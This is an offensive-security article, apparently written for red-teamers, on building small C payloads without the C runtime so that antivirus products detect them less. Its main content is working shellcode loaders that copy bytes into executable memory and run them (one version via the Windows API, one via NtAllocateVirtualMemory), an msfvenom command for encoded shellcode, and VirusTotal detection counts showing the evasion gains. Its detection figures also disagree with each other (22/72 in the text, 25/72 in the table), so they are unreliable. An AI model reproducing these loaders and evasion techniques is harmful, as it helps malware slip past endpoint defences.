Offensive Security: Resource-Constrained, Evasive C Payloads

SEREXP

12 March 2025

I
Introduction

The C programming language is a low-level programming language. This article assumes the reader has a minimum of experience in C programming. No security knowledge is required, though this article is mainly aimed at offensive security engineers ("red-teamers"). Although the article will focus on Windows, most of these concepts apply to other Operating Systems, unless specified otherwise. Additionally, we will focus exclusively on C. C++-specifics are outside of the scope of this article.

- **Glossary:**

- **IOCs** (Indicators of Compromise), like hashes, functions called, files created are indicators of a program's malicious nature;
- **WinAPI:** implementation in DLLs like kernel32.dll that provide user-mode functions for interacting with Windows;
- **NTAPI:** Counterpart of the WinAPI that offers a lower-level access because it interfaces directly with the Windows (NT) kernel.
- **Shellcode:** small piece of code made to be loaded by a **loader** to do one specific purpose. In this article, assume that purpose is malicious.
- **Entry Point (EP):** First function executed by the OS's loader when loading an executable.

The **CRT** (C Runtime) is a set of functions, and definitions written to ease the life of C programmers. An instance of a CRT function is strlen, which is an utility to know the length of a C (null-terminated) string. It is defined in string.h as, according to it's manual page:

```
size_t strlen(const char *s);
    Return the length of the string s.
```

Other functions include **memcpy** to copy memory from one point to another, **strcmp** to compare strings, and more. However, in the case of offensive security, two problems arise with the C runtime:

- It requires linking to a library, therefore creating an Import Table (IAT) on Windows because functions are automatically imported by the CRT,

- If linking statically, it greatly increases the size of payloads that are supposed to be extremely small (10kb to 300kb).

At first, we will see how much of an IOC an IAT is, by compiling an empty C app:

```
int main(void){ return 0; }
```

Compiling this with `gcc minimal_crt.c` generates a 112kb executable file, with it's IAT containing 36 imports scattered around two libraries: msvcrt.dll (CRT dll) and kernel32.dll. Imports:

kernel32.dll: **DeleteCriticalSection, EnterCriticalSection, GetLastError, GetStartupInfoA,InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery**

msvcrt.dll: **`__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, abort, calloc, exit, free, fwrite, malloc, memcpy, signal, strlen, strncmp, vfprintf.`**

The CRT aligns the *stack*, initializes global variables, processes command-line arguments, prepares the heap for dynamic memory allocation, so that the developer only has to code their program without worrying about these hard-to-manage elements. When compiling with the C runtime, our main function is not the actual EP. Rather, the EP is **mainCRTStartup** (with gcc)

Indeed, analysing the executable file's headers with objdump, we find:

$ objdump -f minimal_crt.exe
output.exe: file format pei-x86-64
...
start address 0x00000001400014d0

When reverse-engineering it, we see that the start address, **0x00000001400014d0**, does not point to our **main** function. Rather, it points to **mainCRTStartup**. It's the EP of the C runtime library, initializes the CRT, calls any static initializers written and only then calls **main**.

This adds many functions to our executable, which is supposed to only contain be a **main** function.

This hinders our operations as offensive security engineers, as an IAT is, first of all, a confirmation to every security tool that we use C to code our malicious payloads, but also what functions we probably use in our program.

To counter this, we will try to re-compile our program without including the C runtime:

```
void _start(void){
    return 0;
}
```

(Notice the Entry Point function's name changed from `main` to `_start`. `_start` is the default entry point when the CRT is not linked. It is the entry point expected by the OS's loader when no CRT is present to perform

initialization tasks before calling main. Using **`main`** as the entry point *without* linking the CRT will result in linker errors because the CRT startup code that normally calls **`main`** is missing.)

`gcc minimal_nocrt.c -nostartfiles -e _start` generates a 5.3kb executable file with no IAT/imports.
So clearly, it is possible to make extremely small executables by simply not using the C runtime. We could actually further optimise it by compiling the same program with other compiler optimisations, such as -O2 and -s. When compiled with **`gcc minimal.c -nostartfiles -e _start -O2 -s`** renders executable only **3.5kb**, which I would deem the **absolute minimal size of any C program.**

II
General, Practical Applications of CRT-free Code And Executables

Bypassing linking with the C runtime unsurprisingly means not having access to the C runtime, which is why we cannot use strlen, memcpy, or any function exported in msvcrt.dll (or equivalent) for the matter.

As such, we need to either avoid using these (which is almost impossible if your payload is large enough), or rewrite them.

Rewriting the CRT: an innovative way to resource-constrained payloads --
We will rewrite and, for the purposes of this paper, compare uses of **strlen** and **putws** in two situations:

- Using the CRT.
- Using our rewritten, partial CRT.

As a study object, we will be interested in doing two elementary things:

- Calculating the length of a (UTF-16/wide) C string (a task managed by **wcslen** in the CRT);
- Printing it to the terminal. For this, we could use **printf** but it would be overkill as we do not intend to do any formatting. As such, **putws** will be used as a lightweight alternative.

```
#include <windows.h>
#include <stdio.h>
int main(void){
     _putws(L"Nothing can be done/Ничего не поделаешь")
    size_t u = wcslen(L"Test!");
    for (size_t i = 0; i<u;i++){
        _putws(L"Character detected");
    }
    return 0;
}
```

Compiling this with **gcc puts_crt.c -o puts_crt.exe -Wall** produces a 114kb executable. Using **file** on it returns:

puts_crt.exe: PE32+ executable (console) x86-64, for MS Windows, 19 sections

As for running the program:

```
$ puts_crt.exe
Nothing can be done/
Character detected
Character detected
Character detected
Character detected
Character detected
```

We can observe that it failed to properly print non-ASCII characters like the Cyrillic characters.

Size: **114kb**; Imports: msvcrt.dll, kernel32.dll, 38 imports.

The non-CRT version of the same program is as follows:

```
#include <windows.h>
size_t _wcslen(const wchar_t* str) {
    size_t len = 0;
    while (*str != L'\0') {
        len++;
        str++; // Move to the next character
    }
    return len;
}

void _putws(const wchar_t* str) {
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    DWORD strLen = _wcslen(str);
    DWORD charsWritten;
    WriteConsoleW(
        hConsole,             // console handle
        str,                  // string to write
        strLen,               // length of the string
        &charsWritten,        // number of characters written
        NULL                  // reserved, must be NULL
    );
    const wchar_t newline[] = L"\r\n";
    WriteConsoleW(hConsole, newline, 2, &charsWritten, NULL);
}

void _start(void){
     _putws(L"Nothing can be done/Ничего не поделаешь");
    size_t u = _wcslen(L"Test!");
    for (size_t i = 0; i<u;i++){
        _putws(L"Character detected");
    }
}
```

Although not within the scope of this article, the documentation is as follows:

_wcslen takes a wide C-style **str** wchar_t* parameter and for i elements of **str**, it checks if **i** is the termination character,\0.

_putws gets a handle to the Standard Output (**stdout**) stream, calculates the length of the **str** to print, calls **WriteConsole** to write to **stdout**, then appends **\r\n** (twp control characters: carriage return followed by a newline) to clean the output and prepare other prints.

Within **_start**, we print a test statement with ASCII and UNICODE characters. Afterwards, we calculate the length of another test string and for x characters in it, we print "Character detected" via our custom **_putws** function.

We can compile it with **gcc puts_nocrt.c -nostartfiles -e _start -Wall -o puts_nocrt.exe -nolibc** to generate a **6.2kb** executable.

It is mistakingly identified by the **file** Linux utility as a stripped executable:

puts_nocrt.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, 5 sections

However, our executable is not stripped.

Running it returns:

$ puts_nocrt.exe
Nothing can be done/Ничего не поделаешь
Character detected
Character detected
Character detected
Character detected
Character detected

Size: **6.5 kb**; Imports: kernel32.dll (**WriteConsoleW, GetStdHandle**).

This concludes the theorical and practical applications of writing CRT-free code.

III
CRT-free code in Offensive Security

Beyond proof of concepts, I would like to demonstrate how the CRT not only bloats binaries but can also a huge Indicator of Compromise for a security product.

As such, I would like write and compare three proof-of-concept programs. Namely, one will use the C runtime and deploy a Metasploit payload ("shellcode") that runs arbitrary code in memory. The second will do the same, but use the Windows API for memory allocations and executing our shellcode. And the third shall do the same, but without the C runtime. It will use the Windows API for memory allocations and executions. They will all be scanned on a range of security products and we will compare their detections.

Our shellcode shall be generated with Metasploit's Msfvenom:

```
msfvenom -p windows/x64/exec CMD=explorer.exe -e x64/zutto_dekiru -i 3 -f c
```

Unfortunately, to avoid having a painfully large and unreadable document, it will be truncated and replaced with a placeholder shellcode when the code will be shown.

1. Almost exclusively using the CRT

```
#include <stdio.h>
#include <windows.h>

unsigned char buf[] = {0};

int main() {
 void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof(buf));
    ((void(*)())exec)();
}
```

This example is compiled once again with gcc: **gcc inject_crt.c -o inject_crt.exe**, which generates a 114kb executable with 37 imports within msvcrt.dll and kernel32.dll.

It was scanned on VirusTotal and was detected by **22** security products out of **72**.

The following equivalent does not use the CRT, and instead relies on the Windows API and a rewritten memcpy:

```
#include <windows.h>

unsigned char buf[] = {0}

inline void _memcpy(void *dest, const void *src, size_t n) {
    unsigned char *d = (unsigned char *)dest;
    const unsigned char *s = (const unsigned char *)src;
    for (size_t i = 0; i < n; i++) {
        d[i] = s[i];
        }
}

void _start() {
   void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    _memcpy(exec, buf, sizeof(buf));
    ((void(*)())exec)();
}
```

gcc inject_nocrt.c -o inject_nocrt.exe -nolibc -nostartfiles –entry=_start generates a 6.6kb with one sole import from kernel32.dll: VirtualAlloc.

Scanned on VirusTotal, it only had 10/72 detections, a clear decrease from the pure CRT version.

As a last proof of concept, it will be rewritten to use the NT API instead of the Windows API. The NT API is a lower-level API on Windows. All NT functions are exported from ntdll.dll, while all Windows API functions are exported from kernel32.dll. NT API functions cannot be used out-of-the-box and instead rely on your program retrieving their pointers at run-time. As such, they are generally less detected by security products because they operate at a lower level. Explaining the NTAPI further is outside of the scope of this article.

The NT API equivalent of our program is as follows:

```
#include <winternl.h>
#include <windows.h>
unsigned char buf[] = {0};
void _memcpy(void *dest, const void *src, size_t n) {
    unsigned char *d = (unsigned char *)dest;
    const unsigned char *s = (const unsigned char *)src;
    for (size_t i = 0; i < n; i++) {
        d[i] = s[i];
    }
}
```

```
typedef NTSTATUS(NTAPI *NtAllocateVirtualMemory_t)(
    HANDLE    ProcessHandle,
    PVOID    *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

void _start() {
    NtAllocateVirtualMemory_t NtAllocateVirtualMemory =
        (NtAllocateVirtualMemory_t)GetProcAddress(
            GetModuleHandleW(L"ntdll.dll"),
            "NtAllocateVirtualMemory"
        );

    PVOID exec = NULL;
    SIZE_T size = sizeof(buf);
    NTSTATUS status = NtAllocateVirtualMemory(
        (HANDLE)-1,                // Current process handle
        &exec,                     // Address of allocated memory
        0,                         // ZeroBits
        &size,                     // Size of the region
        MEM_COMMIT | MEM_RESERVE,  // Allocation type
        PAGE_EXECUTE_READWRITE     // Memory protection
    );

    _memcpy(exec, buf, sizeof(buf));
    ((void(*)())exec)();
}
```

Compiling with **gcc inject_ntapi.c -o inject_ntapi.exe -nolibc -nostartfiles –entry=_start** generates a 6.9kb executable, with two imports in kernel32.dll: **GetModuleHandleW**, **GetProcAddress**. Scanning it on VirusTotal returns 5 detections out of 72 security products.

As such, we can determine that the C runtime added 12 detections to our program. Please consider the following table.

Version	CRT	No CRT	NTAPI
Detections	25/72	10/72	5/72

IV
Conclusion

Throughout this paper, the following hypothesis was laid down and proven:

The C Runtime, while useful, could hinder operations of Offensive Security Engineers and become an IOC.

It was proven that CRT-free shellcode loaders are, on average, 60% less detected than their CRT counterparts. Though this paper focused on loading an extremely simple shellcode (opening explorer.exe), it of course applies to any offensive security program that could be analysed: Not using the CRT has shown a decrease in 60% in reports of malicious activity. Further evasion techniques, like using the NT API on Windows have shown that the switch from using the CRT to not using it + using evasive techniques results in 77% less detections by security products like Anti-viruses and EDR systems.

All tests compiled on mingw/gcc version 12-win32. All executables executed through Wine64 9.0. Shellcode generated with MSFVenom 4.11.4. All text printed on Alacritty 0.11.0.

All code can be found either on GitHub @ Libyanlake, or in an archive shared with this PDF.